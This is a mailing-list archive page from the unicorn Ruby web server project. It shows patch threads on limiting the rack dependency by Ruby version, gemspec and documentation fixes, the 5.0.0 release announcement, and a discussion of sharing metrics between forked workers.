buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
"Date: #{httpdate}\r\n" \
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 2728373..c3f8267 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -31,11 +31,11 @@
# version requirements here.
s.required_ruby_version = '< 3.0'
- # for people that are absolutely stuck on Rails 2.3.2 and can't
- # up/downgrade to any other version, the Rack dependency may be
- # commented out. Nevertheless, upgrading to Rails 2.3.4 or later is
- # *strongly* recommended for security reasons.
- s.add_dependency(%q<rack>)
+ # We do not have a hard dependency on rack, it's possible to load
+ # things which respond to #call. HTTP status lines in responses
+ # won't have descriptive text, only the numeric status.
+ # s.add_dependency(%q<rack>)
+
s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
... Not touching the untested, ancient old_rails stuff, yet
^ permalink raw reply related [relevance 12%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 23:19 6% ` Aaron Patterson
@ 2016-01-21 17:12 14% ` Adam Duke
2016-01-21 20:12 12% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Adam Duke @ 2016-01-21 17:12 UTC (permalink / raw)
To: Aaron Patterson; +Cc: rack-devel, unicorn-public
Following up on this, it seems to me like keeping the Ruby 2.2.2
requirement is the right way to go for rack. If the unicorn project
wants to continue support for older rubies, the unicorn gemspec should
be changed to limit the rack dependency to '< 2'. If rack 2.0.0 is
released and there is no limit on the dependency in unicorn's gemspec,
it seems to me like any deployments that are not running Ruby 2.2.2
will fail.
From 2f3b39edb5d477e0efcbe5ce55af37ddea289e9e Mon Sep 17 00:00:00 2001
From: Adam Duke <adam.v.duke@gmail.com>
Date: Fri, 8 Jan 2016 13:06:31 -0500
Subject: [PATCH] limit rack version for ruby compatibility
rack introduced a dependency on ruby 2.2.2 or greater in
https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
In order to maintain support for ruby versions less than 2.2.2, limit
the rack dependency to supported versions for the current ruby.
---
unicorn.gemspec | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 1099361..16607ac 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -35,7 +35,7 @@
# up/downgrade to any other version, the Rack dependency may be
# commented out. Nevertheless, upgrading to Rails 2.3.4 or later is
# *strongly* recommended for security reasons.
- s.add_dependency(%q<rack>)
+ s.add_dependency(%q<rack>, '< 2')
s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
--
2.6.4
On Fri, Jan 8, 2016 at 6:19 PM, Aaron Patterson
<tenderlove@ruby-lang.org> wrote:
> On Fri, Jan 08, 2016 at 10:37:32PM +0000, Eric Wong wrote:
>> Aaron Patterson <tenderlove@ruby-lang.org> wrote:
>> > The main reason I bumped it up to Ruby 2.2.x is because that will be the
>> > minimum version of Ruby I'll be stuck with throughout Rack 2.x's
>> > lifetime. IOW, I can't drop Ruby versions in anything but a major
>> > release so I'm being conservative and only going with the latest (at the
>> > time that was 2.2).
>> >
>> > I could be convinced to bring down the version number, but I'd like to
>> > know why first. :)
>>
>> Because other people are _always_ slow to upgrade :)
>
> Yes, exactly. I am betting that by the time people upgrade to Rack 2.0,
> Ruby 2.2.2 will be old hat (Ruby 2.3 has been released already!) ;)
>
>> However, I suppose it's fine to bring the requirement up with a
>> major version bump of Rack. I don't want to burden you with
>> old cruft, either.
>>
>> unicorn may also be able to drop the dependency on rack by
>> lazy loading:
>>
>> * Rack::Utils::HTTP_STATUS_CODES is the main thing we use from
>> Rack at runtime; and unicorn would actually function fine if
>> the hash were empty; HTTP status lines would just be short
>> and non-descriptive.
>>
>> * The Rack::Builder dependency can be optional, even.
>>
>> Fwiw, I plan to support Rack 1.x and Ruby 1.9.3 under unicorn for a few
>> more years because of LTS distros. New versions take priority, of
>> course.
>
> Ok. Let me know if there's anything I can do to help. Removing the
> strict requirement from the gemspec *is* on the table, as long as we
> document the supported versions in the README. I don't plan on using
> anything that would be specific to Ruby 2.2.2 and up, but I don't want
> to be burdened by older ones either. A simple comment in the README
> would suffice.
>
> --
> Aaron Patterson
> http://tenderlovemaking.com/
^ permalink raw reply related [relevance 14%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 22:37 9% ` Eric Wong
@ 2016-01-08 23:19 6% ` Aaron Patterson
2016-01-21 17:12 14% ` Adam Duke
0 siblings, 1 reply; 200+ results
From: Aaron Patterson @ 2016-01-08 23:19 UTC (permalink / raw)
To: rack-devel; +Cc: Aaron Patterson, Adam Duke, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1859 bytes --]
On Fri, Jan 08, 2016 at 10:37:32PM +0000, Eric Wong wrote:
> Aaron Patterson <tenderlove@ruby-lang.org> wrote:
> > The main reason I bumped it up to Ruby 2.2.x is because that will be the
> > minimum version of Ruby I'll be stuck with throughout Rack 2.x's
> > lifetime. IOW, I can't drop Ruby versions in anything but a major
> > release so I'm being conservative and only going with the latest (at the
> > time that was 2.2).
> >
> > I could be convinced to bring down the version number, but I'd like to
> > know why first. :)
>
> Because other people are _always_ slow to upgrade :)
Yes, exactly. I am betting that by the time people upgrade to Rack 2.0,
Ruby 2.2.2 will be old hat (Ruby 2.3 has been released already!) ;)
> However, I suppose it's fine to bring the requirement up with a
> major version bump of Rack. I don't want to burden you with
> old cruft, either.
>
> unicorn may also be able to drop the dependency on rack by
> lazy loading:
>
> * Rack::Utils::HTTP_STATUS_CODES is the main thing we use from
> Rack at runtime; and unicorn would actually function fine if
> the hash were empty; HTTP status lines would just be short
> and non-descriptive.
>
> * The Rack::Builder dependency can be optional, even.
>
> Fwiw, I plan to support Rack 1.x and Ruby 1.9.3 under unicorn for a few
> more years because of LTS distros. New versions take priority, of
> course.
Ok. Let me know if there's anything I can do to help. Removing the
strict requirement from the gemspec *is* on the table, as long as we
document the supported versions in the README. I don't plan on using
anything that would be specific to Ruby 2.2.2 and up, but I don't want
to be burdened by older ones either. A simple comment in the README
would suffice.
--
Aaron Patterson
http://tenderlovemaking.com/
[-- Attachment #2: Type: application/pgp-signature, Size: 456 bytes --]
^ permalink raw reply [relevance 6%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 21:50 10% ` Aaron Patterson
2016-01-08 21:56 10% ` Aaron Patterson
@ 2016-01-08 22:37 9% ` Eric Wong
2016-01-08 23:19 6% ` Aaron Patterson
1 sibling, 1 reply; 200+ results
From: Eric Wong @ 2016-01-08 22:37 UTC (permalink / raw)
To: Aaron Patterson; +Cc: rack-devel, Adam Duke, unicorn-public
Aaron Patterson <tenderlove@ruby-lang.org> wrote:
> The main reason I bumped it up to Ruby 2.2.x is because that will be the
> minimum version of Ruby I'll be stuck with throughout Rack 2.x's
> lifetime. IOW, I can't drop Ruby versions in anything but a major
> release so I'm being conservative and only going with the latest (at the
> time that was 2.2).
>
> I could be convinced to bring down the version number, but I'd like to
> know why first. :)
Because other people are _always_ slow to upgrade :)
However, I suppose it's fine to bring the requirement up with a
major version bump of Rack. I don't want to burden you with
old cruft, either.
unicorn may also be able to drop the dependency on rack by
lazy loading:
* Rack::Utils::HTTP_STATUS_CODES is the main thing we use from
Rack at runtime; and unicorn would actually function fine if
the hash were empty; HTTP status lines would just be short
and non-descriptive.
* The Rack::Builder dependency can be optional, even.
Fwiw, I plan to support Rack 1.x and Ruby 1.9.3 under unicorn for a few
more years because of LTS distros. New versions take priority, of
course.
> On Fri, Jan 08, 2016 at 07:18:07PM +0000, Eric Wong wrote:
> > Adam Duke <adamduke@twitter.com> wrote:
> > > +++ b/unicorn.gemspec
> > > @@ -35,7 +35,11 @@
> > > # up/downgrade to any other version, the Rack dependency may be
> > > # commented out. Nevertheless, upgrading to Rails 2.3.4 or later is
> > > # *strongly* recommended for security reasons.
> > > - s.add_dependency(%q<rack>)
> > > + if RUBY_VERSION < '2.2.2'
> > > + s.add_dependency(%q<rack>, '~> 1.6.4')
> > > + else
> > > + s.add_dependency(%q<rack>)
> > > + end
> >
> > Interesting, I built a gem with RubyGems 2.5.1 and this conditional
> > was preserved in the gemspec. I tried this in the past (2009/2010?)
> > and any conditionals written like this got clobbered in the final
> > gemspec.
>
> I wonder if that's true even after you upload to rubygems.org. I'd
> guess it's not true as they don't want to support arbitrary ruby code
> for specs.
Ah, you're right. I was looking at the gemspec which is distributed
with the gem source and not the regenerated gemspec which RubyGems
actually uses.
So yeah, it looks like Adam's patch only affects the gem build process.
^ permalink raw reply [relevance 9%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 22:13 10% ` Adam Duke
@ 2016-01-08 22:17 11% ` Aaron Patterson
0 siblings, 0 replies; 200+ results
From: Aaron Patterson @ 2016-01-08 22:17 UTC (permalink / raw)
To: Adam Duke; +Cc: Aaron Patterson, rack-devel, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 642 bytes --]
On Fri, Jan 08, 2016 at 05:13:19PM -0500, Adam Duke wrote:
> Is it reasonable to assume that any rack release that includes bumping
> the ruby requirement to 2.2.2 would require a major version bump of
> rack?
>
> The dependency in the unicorn gemspec could be as simple as '< 2' if
> that is the case.
Not totally sure if I follow what you're saying, but yes, bumping the
Ruby version will always necessitate bumping the major version of Rack.
IOW, Rack 2.X will support Ruby 2.2.2 and up indefinitely, and dropping
any version of Ruby would require bumping Rack to 3.X.
--
Aaron Patterson
http://tenderlovemaking.com/
[-- Attachment #2: Type: application/pgp-signature, Size: 456 bytes --]
^ permalink raw reply [relevance 11%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 21:56 10% ` Aaron Patterson
@ 2016-01-08 22:13 10% ` Adam Duke
2016-01-08 22:17 11% ` Aaron Patterson
0 siblings, 1 reply; 200+ results
From: Adam Duke @ 2016-01-08 22:13 UTC (permalink / raw)
To: Aaron Patterson; +Cc: rack-devel, unicorn-public
Is it reasonable to assume that any rack release that includes bumping
the ruby requirement to 2.2.2 would require a major version bump of
rack?
The dependency in the unicorn gemspec could be as simple as '< 2' if
that is the case.
On Fri, Jan 8, 2016 at 4:56 PM, Aaron Patterson
<tenderlove@ruby-lang.org> wrote:
> On Fri, Jan 08, 2016 at 01:50:46PM -0800, Aaron Patterson wrote:
>> On Fri, Jan 08, 2016 at 07:18:07PM +0000, Eric Wong wrote:
>> > Adam Duke <adamduke@twitter.com> wrote:
>> > > From: Adam Duke <adam.v.duke@gmail.com>
>> > > Date: Fri, 8 Jan 2016 13:06:31 -0500
>> > > Subject: [PATCH] limit rack version for ruby compatibility
>> > >
>> > > rack introduced a dependency on ruby 2.2.2 or greater in
>> > > https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
>> >
>> > Cc-ing rack-devel + Aaron
>> >
>> > Yikes! ruby-core still supports Ruby 2.1 and possibly even 2.0.0
>> >
>> > And there doesn't seem to be any documentation on why Ruby 2.2.x
>> > is needed in the first place for rack.git
>> > commit a2fe30a5e70371c89c1b29fdc2dc5f8027bc5fe6
>> >
>> > http://bogomips.org/mirrors/rack.git/patch?id=a2fe30a5e70371c8
>> >
>> > Aaron?
>>
>> The main reason I bumped it up to Ruby 2.2.x is because that will be the
>> minimum version of Ruby I'll be stuck with throughout Rack 2.x's
>> lifetime. IOW, I can't drop Ruby versions in anything but a major
>> release so I'm being conservative and only going with the latest (at the
>> time that was 2.2).
>>
>> I could be convinced to bring down the version number, but I'd like to
>> know why first. :)
>
> Oh, I forgot to mention that I don't mind eliminating the Ruby version
> requirement as long as we put something in the README that says we only
> guarantee it works on 2.2.x and up. Older versions could be "best
> effort". I'm just afraid to do something like that because I really
> don't want to maintain 1.8 and 1.9 baggage (for example). I used the
> gemspec to clearly announce the Ruby versions I actually test with.
>
> --
> Aaron Patterson
> http://tenderlovemaking.com/
^ permalink raw reply [relevance 10%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 21:50 10% ` Aaron Patterson
@ 2016-01-08 21:56 10% ` Aaron Patterson
2016-01-08 22:13 10% ` Adam Duke
2016-01-08 22:37 9% ` Eric Wong
1 sibling, 1 reply; 200+ results
From: Aaron Patterson @ 2016-01-08 21:56 UTC (permalink / raw)
To: Aaron Patterson; +Cc: rack-devel, Adam Duke, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1767 bytes --]
On Fri, Jan 08, 2016 at 01:50:46PM -0800, Aaron Patterson wrote:
> On Fri, Jan 08, 2016 at 07:18:07PM +0000, Eric Wong wrote:
> > Adam Duke <adamduke@twitter.com> wrote:
> > > From: Adam Duke <adam.v.duke@gmail.com>
> > > Date: Fri, 8 Jan 2016 13:06:31 -0500
> > > Subject: [PATCH] limit rack version for ruby compatibility
> > >
> > > rack introduced a dependency on ruby 2.2.2 or greater in
> > > https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
> >
> > Cc-ing rack-devel + Aaron
> >
> > Yikes! ruby-core still supports Ruby 2.1 and possibly even 2.0.0
> >
> > And there doesn't seem to be any documentation on why Ruby 2.2.x
> > is needed in the first place for rack.git
> > commit a2fe30a5e70371c89c1b29fdc2dc5f8027bc5fe6
> >
> > http://bogomips.org/mirrors/rack.git/patch?id=a2fe30a5e70371c8
> >
> > Aaron?
>
> The main reason I bumped it up to Ruby 2.2.x is because that will be the
> minimum version of Ruby I'll be stuck with throughout Rack 2.x's
> lifetime. IOW, I can't drop Ruby versions in anything but a major
> release so I'm being conservative and only going with the latest (at the
> time that was 2.2).
>
> I could be convinced to bring down the version number, but I'd like to
> know why first. :)
Oh, I forgot to mention that I don't mind eliminating the Ruby version
requirement as long as we put something in the README that says we only
guarantee it works on 2.2.x and up. Older versions could be "best
effort". I'm just afraid to do something like that because I really
don't want to maintain 1.8 and 1.9 baggage (for example). I used the
gemspec to clearly announce the Ruby versions I actually test with.
--
Aaron Patterson
http://tenderlovemaking.com/
[-- Attachment #2: Type: application/pgp-signature, Size: 456 bytes --]
^ permalink raw reply [relevance 10%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 19:18 6% ` Eric Wong
@ 2016-01-08 21:50 10% ` Aaron Patterson
2016-01-08 21:56 10% ` Aaron Patterson
2016-01-08 22:37 9% ` Eric Wong
0 siblings, 2 replies; 200+ results
From: Aaron Patterson @ 2016-01-08 21:50 UTC (permalink / raw)
To: rack-devel; +Cc: Adam Duke, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 2839 bytes --]
On Fri, Jan 08, 2016 at 07:18:07PM +0000, Eric Wong wrote:
> Adam Duke <adamduke@twitter.com> wrote:
> > From: Adam Duke <adam.v.duke@gmail.com>
> > Date: Fri, 8 Jan 2016 13:06:31 -0500
> > Subject: [PATCH] limit rack version for ruby compatibility
> >
> > rack introduced a dependency on ruby 2.2.2 or greater in
> > https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
>
> Cc-ing rack-devel + Aaron
>
> Yikes! ruby-core still supports Ruby 2.1 and possibly even 2.0.0
>
> And there doesn't seem to be any documentation on why Ruby 2.2.x
> is needed in the first place for rack.git
> commit a2fe30a5e70371c89c1b29fdc2dc5f8027bc5fe6
>
> http://bogomips.org/mirrors/rack.git/patch?id=a2fe30a5e70371c8
>
> Aaron?
The main reason I bumped it up to Ruby 2.2.x is because that will be the
minimum version of Ruby I'll be stuck with throughout Rack 2.x's
lifetime. IOW, I can't drop Ruby versions in anything but a major
release so I'm being conservative and only going with the latest (at the
time that was 2.2).
I could be convinced to bring down the version number, but I'd like to
know why first. :)
> > In order to maintain support for ruby versions less than 2.2.2, limit
> > the rack dependency to supported versions for the current ruby.
> > ---
> > unicorn.gemspec | 6 +++++-
> > 1 file changed, 5 insertions(+), 1 deletion(-)
> >
> > diff --git a/unicorn.gemspec b/unicorn.gemspec
> > index 1099361..ce7080a 100644
> > --- a/unicorn.gemspec
> > +++ b/unicorn.gemspec
> > @@ -35,7 +35,11 @@
> > # up/downgrade to any other version, the Rack dependency may be
> > # commented out. Nevertheless, upgrading to Rails 2.3.4 or later is
> > # *strongly* recommended for security reasons.
> > - s.add_dependency(%q<rack>)
> > + if RUBY_VERSION < '2.2.2'
> > + s.add_dependency(%q<rack>, '~> 1.6.4')
> > + else
> > + s.add_dependency(%q<rack>)
> > + end
>
> Interesting, I built a gem with RubyGems 2.5.1 and this conditional
> was preserved in the gemspec. I tried this in the past (2009/2010?)
> and any conditionals written like this got clobbered in the final
> gemspec.
I wonder if that's true even after you upload to rubygems.org. I'd
guess it's not true as they don't want to support arbitrary ruby code
for specs.
> In other words, conditionals used to be evaluated at "gem build" time,
> not "gem install" time. We should check when this improvement was
> introduced into RubyGems should we go this route.
>
> Also, maybe '~> 1.6.4' is too strict, '~> 1.6' could be better in case
> a rack 1.7 comes out in parallel to rack 2.0
Agree here. 1.7 may be possible, and I want to make the guarantee that
its API is backwards compatible with 1.6.
--
Aaron Patterson
http://tenderlovemaking.com/
[-- Attachment #2: Type: application/pgp-signature, Size: 456 bytes --]
^ permalink raw reply [relevance 10%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-08 18:34 15% [PATCH] limit rack version for ruby compatibility Adam Duke
@ 2016-01-08 19:18 6% ` Eric Wong
2016-01-08 21:50 10% ` Aaron Patterson
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-01-08 19:18 UTC (permalink / raw)
To: Adam Duke; +Cc: unicorn-public, Aaron Patterson, rack-devel
Adam Duke <adamduke@twitter.com> wrote:
> From: Adam Duke <adam.v.duke@gmail.com>
> Date: Fri, 8 Jan 2016 13:06:31 -0500
> Subject: [PATCH] limit rack version for ruby compatibility
>
> rack introduced a dependency on ruby 2.2.2 or greater in
> https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
Cc-ing rack-devel + Aaron
Yikes! ruby-core still supports Ruby 2.1 and possibly even 2.0.0
And there doesn't seem to be any documentation on why Ruby 2.2.x
is needed in the first place for rack.git
commit a2fe30a5e70371c89c1b29fdc2dc5f8027bc5fe6
http://bogomips.org/mirrors/rack.git/patch?id=a2fe30a5e70371c8
Aaron?
> In order to maintain support for ruby versions less than 2.2.2, limit
> the rack dependency to supported versions for the current ruby.
> ---
> unicorn.gemspec | 6 +++++-
> 1 file changed, 5 insertions(+), 1 deletion(-)
>
> diff --git a/unicorn.gemspec b/unicorn.gemspec
> index 1099361..ce7080a 100644
> --- a/unicorn.gemspec
> +++ b/unicorn.gemspec
> @@ -35,7 +35,11 @@
> # up/downgrade to any other version, the Rack dependency may be
> # commented out. Nevertheless, upgrading to Rails 2.3.4 or later is
> # *strongly* recommended for security reasons.
> - s.add_dependency(%q<rack>)
> + if RUBY_VERSION < '2.2.2'
> + s.add_dependency(%q<rack>, '~> 1.6.4')
> + else
> + s.add_dependency(%q<rack>)
> + end
Interesting, I built a gem with RubyGems 2.5.1 and this conditional
was preserved in the gemspec. I tried this in the past (2009/2010?)
and any conditionals written like this got clobbered in the final
gemspec.
In other words, conditionals used to be evaluated at "gem build" time,
not "gem install" time. We should check when this improvement was
introduced into RubyGems should we go this route.
Also, maybe '~> 1.6.4' is too strict, '~> 1.6' could be better in case
a rack 1.7 comes out in parallel to rack 2.0
^ permalink raw reply [relevance 6%]
* [PATCH] limit rack version for ruby compatibility
@ 2016-01-08 18:34 15% Adam Duke
2016-01-08 19:18 6% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Adam Duke @ 2016-01-08 18:34 UTC (permalink / raw)
To: unicorn-public
From 6f1cb0ae4b63bd1906fd83d154dae1d1f2b35407 Mon Sep 17 00:00:00 2001
From: Adam Duke <adam.v.duke@gmail.com>
Date: Fri, 8 Jan 2016 13:06:31 -0500
Subject: [PATCH] limit rack version for ruby compatibility
rack introduced a dependency on ruby 2.2.2 or greater in
https://github.com/rack/rack/commit/771d94e5dbe53058160a1f8a4cc56384c1d2a048
In order to maintain support for ruby versions less than 2.2.2, limit
the rack dependency to supported versions for the current ruby.
---
unicorn.gemspec | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 1099361..ce7080a 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -35,7 +35,11 @@
# up/downgrade to any other version, the Rack dependency may be
# commented out. Nevertheless, upgrading to Rails 2.3.4 or later is
# *strongly* recommended for security reasons.
- s.add_dependency(%q<rack>)
+ if RUBY_VERSION < '2.2.2'
+ s.add_dependency(%q<rack>, '~> 1.6.4')
+ else
+ s.add_dependency(%q<rack>)
+ end
s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
--
2.6.4
^ permalink raw reply related [relevance 15%]
* Re: Shared Metrics Between Workers
@ 2015-11-13 20:54 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-11-13 20:54 UTC (permalink / raw)
To: Jeff Utter; +Cc: unicorn-public
Jeff Utter <jeff.utter@firespring.com> wrote:
> On November 12, 2015 at 7:23:13 PM, Eric Wong (e@80x24.org) wrote:
> > You don't have to return all the data you'd aggregate with raindrops,
> > though. Just what was requested.
>
> Just to make sure I understand this correctly though, in order for the
> metrics to be available between workers, the raindrops structs would
> need to be setup for each metric before unicorn forks?
Yes. But most (if not all) metrics you'd care about will need
aggregation, and thus must be known/aggregated for the lifetime
of a process, correct?
> > GDBM (in the stdlib), SQLite, RRD, or any "on-filesystem"[1] data store
> > should work, even. If you do have a lot of stats; batch the updates
> > locally (per-worker) and write them to a shared area periodically.
>
> Are you suggesting this data store would be shared between workers or
> one per worker (and whatever displays the metrics would read all the
> stores)? I tried sharing between workers with DBM and GDBM and both of
> them end up losing metrics due to being overwritten by other threads.
> I imagine I would have to lock the file whenever one is writing, which
> would block other workers (not ideal). Out of the box PStore works
> fine for this (surprisingly). I'm guessing it does file locks behind
> the scenes.
The data in the on-filesystem store would be shared across processes.
But you'd probably want to aggregate locally in a hash before flushing
periodically.
You're probably losing data because DB file descriptors are shared
across fork. You need to open DBs/connections after forking. With any
DB, you can't expect to open/share open file descriptors across fork.
You can safely share UDP sockets across fork, and likely SCTP if
implemented in the kernel (I haven't tried). But any userland wrappers
on top of the UDP socket (e.g. statsd, as Michael mentioned) will need
to be checked for fork-friendliness.
> Right now I'm thinking that the best way to handle this would be one
> data store per worker and then whatever reads the metrics scrapes them
> all read-only. My biggest concern with this approach is knowing which
> data-stores are valid. I suppose I could put them all in a folder
> based off the parent's pid. However, would it be possible that some
> could be orphaned if a worker is killed by the master? I would need
> some way for the master to communicate to the collector (probably in a
> worker) what other workers are actively running. Is that possible?
I don't think you to worry about all that. You'd want stats even for
dead workers to stick around if they were running the same code as
current worker.
OTOH, you probably want to reset/drop stats on new deploys;
so maybe key the stats based on the version of the app you're running.
I also forget to mention I've used memcached for some stats, too. It's
great when the data is fast-expiring, disposable and needs to be shared
across several machines; not just processes within the same host.
^ permalink raw reply [relevance 3%]
* [ANN] unicorn 5.0.0 - Rack HTTP server for fast clients and *nix
@ 2015-11-01 8:55 4% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-11-01 8:55 UTC (permalink / raw)
To: ruby-talk, unicorn-public
Unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* http://unicorn.bogomips.org/
* public list: unicorn-public@bogomips.org
* mail archives: http://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* http://unicorn.bogomips.org/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes since 4.9.0:
unicorn 5.0.0 - most boring major release. EVER.
An evolutionary dead-end since its announcement[1] nearly six years
ago, this old-fashioned preforker has had enough bugs and missteps
that it's managed to hit version 5!
I wish I could say unicorn 5 is leaps and bounds better than 4, but
it is not. This major version change allows us to drop some cruft
and unused features which accumulated over the years, resulting in
several kilobytes of memory saved[2]!
Compatibility:
* The horrible, proprietary (:P) "Status:" response header is
finally gone, saving at least 16 precious bytes in every HTTP
response. This should make it easier to write custom HTTP clients
which are compatible across all HTTP servers. It will hopefully
make migrating between different Rack servers easier for new
projects.
* Ruby 1.8 support removed. Ruby 1.9.3 is currently the earliest
supported version. However, expect minor, likely-unnoticeable
performance regressions if you use Ruby 2.1 or earlier. Going
forward, unicorn will favor the latest version (currently 2.2) of
the mainline Ruby implementation, potentially sacrificing
performance on older Rubies.
* Some internal, undocumented features and APIs used by
derivative servers are gone; removing bloat and slightly lowering
memory use. We have never and will never endorse the use of any
applications or middleware with a dependency on unicorn,
applications should be written for Rack instead.
Note: Rainbows! 5.0 will be released next week or so to be
compatible with unicorn 5.x
New features:
* sd_listen_fds(3) emulation added for systemd compatibility.
You may now stop using PID files and other process monitoring
software when using systemd.
--
EW
^ permalink raw reply [relevance 4%]
* [PATCH 3/3] doc updates
2015-11-01 8:37 3% [PATCH 0/3] last updates before 5.0 release Eric Wong
2015-11-01 8:37 22% ` [PATCH 2/3] gemspec: relax Ruby version requirement for old RubyGems Eric Wong
@ 2015-11-01 8:37 10% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2015-11-01 8:37 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
ISSUES: note images are considered spam as well as HTML.
Links: Clarify we may only endorse the Free versions of nginx, not the
non-Free versions.
Add a link to Starman as a unicorn derivative, as I even use Starman
myself. Remove yahns, since it's really the complete opposite of
unicorn and probably not appropriate to place next to Starman and
gunicorn
---
ISSUES | 2 +-
Links | 7 ++++---
2 files changed, 5 insertions(+), 4 deletions(-)
diff --git a/ISSUES b/ISSUES
index 7c91555..394c852 100644
--- a/ISSUES
+++ b/ISSUES
@@ -9,7 +9,7 @@ submit patches and/or obtain support after you have searched the
* Cc: all participants in a thread or commit, as subscription is optional
* Do not {top post}[http://catb.org/jargon/html/T/top-post.html] in replies
* Quote as little as possible of the message you're replying to
-* Do not send HTML mail, it will be flagged as spam
+* Do not send HTML mail or images, it will be flagged as spam
* Anonymous and pseudonymous messages will always be welcome.
* The email submission port (587) is enabled on the bogomips.org MX:
http://bogomips.org/unicorn-public/20141004232241.GA23908@dcvr.yhbt.net/t/
diff --git a/Links b/Links
index 16c9467..6474a9d 100644
--- a/Links
+++ b/Links
@@ -37,14 +37,15 @@ or services behind them.
* {Ruby}[https://www.ruby-lang.org/en/] - the programming language of
Rack and unicorn
-* {nginx}[http://nginx.org/] - the reverse proxy for use with unicorn
+* {nginx}[http://nginx.org/] (Free versions) -
+ the reverse proxy for use with unicorn
=== Derivatives
* {Green Unicorn}[http://gunicorn.org/] - a Python version of unicorn
-* {yahns}[http://yahns.yhbt.net/] - the complete opposite of unicorn in
- every imaginable way. Designed for energy efficiency on idle sites.
+* {Starman}[http://search.cpan.org/dist/Starman/] - Plack/PSGI version
+ of unicorn
=== Prior Work
--
EW
^ permalink raw reply related [relevance 10%]
* [PATCH 2/3] gemspec: relax Ruby version requirement for old RubyGems
2015-11-01 8:37 3% [PATCH 0/3] last updates before 5.0 release Eric Wong
@ 2015-11-01 8:37 22% ` Eric Wong
2015-11-01 8:37 10% ` [PATCH 3/3] doc updates Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2015-11-01 8:37 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Older RubyGems (1.8.23.2 at least) does not seem to support
multiple version requirements for the Ruby version; so drop
the lower 1.9.3 requirement for now.
---
unicorn.gemspec | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 23450f5..1099361 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,7 +25,11 @@ Gem::Specification.new do |s|
s.files = manifest
s.homepage = Olddoc.config['rdoc_url']
s.test_files = test_files
- s.required_ruby_version = [ '>= 1.9.3', '< 3.0' ]
+
+ # technically we need ">= 1.9.3", too, but avoid the array here since
+ # old rubygems versions (1.8.23.2 at least) do not support multiple
+ # version requirements here.
+ s.required_ruby_version = '< 3.0'
# for people that are absolutely stuck on Rails 2.3.2 and can't
# up/downgrade to any other version, the Rack dependency may be
@@ -38,5 +42,9 @@ Gem::Specification.new do |s|
s.add_development_dependency('test-unit', '~> 3.0')
s.add_development_dependency('olddoc', '~> 1.0')
- s.licenses = ["GPLv2+", "Ruby 1.8"]
+ # Note: To avoid ambiguity, we intentionally avoid the SPDX-compatible
+ # 'Ruby' here since Ruby 1.9.3 switched to BSD-2-Clause, but we
+ # inherited our license from Mongrel when Ruby was at 1.8.
+ # We cannot automatically switch licenses when Ruby changes.
+ s.licenses = ['GPL-2.0+', 'Ruby-1.8']
end
--
EW
^ permalink raw reply related [relevance 22%]
* [PATCH 0/3] last updates before 5.0 release
@ 2015-11-01 8:37 3% Eric Wong
2015-11-01 8:37 22% ` [PATCH 2/3] gemspec: relax Ruby version requirement for old RubyGems Eric Wong
2015-11-01 8:37 10% ` [PATCH 3/3] doc updates Eric Wong
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2015-11-01 8:37 UTC (permalink / raw)
To: unicorn-public
Nothing significant...
Eric Wong (3):
golf down conditional for socket activation
gemspec: relax Ruby version requirement for old RubyGems
doc updates
ISSUES | 2 +-
Links | 7 ++++---
lib/unicorn/http_server.rb | 2 +-
unicorn.gemspec | 12 ++++++++++--
4 files changed, 16 insertions(+), 7 deletions(-)
^ permalink raw reply [relevance 3%]
* Re: Request to follow SemVer/mention it in homepage
2015-10-01 4:56 3% ` Pirate Praveen
@ 2015-10-01 11:18 4% ` Pirate Praveen
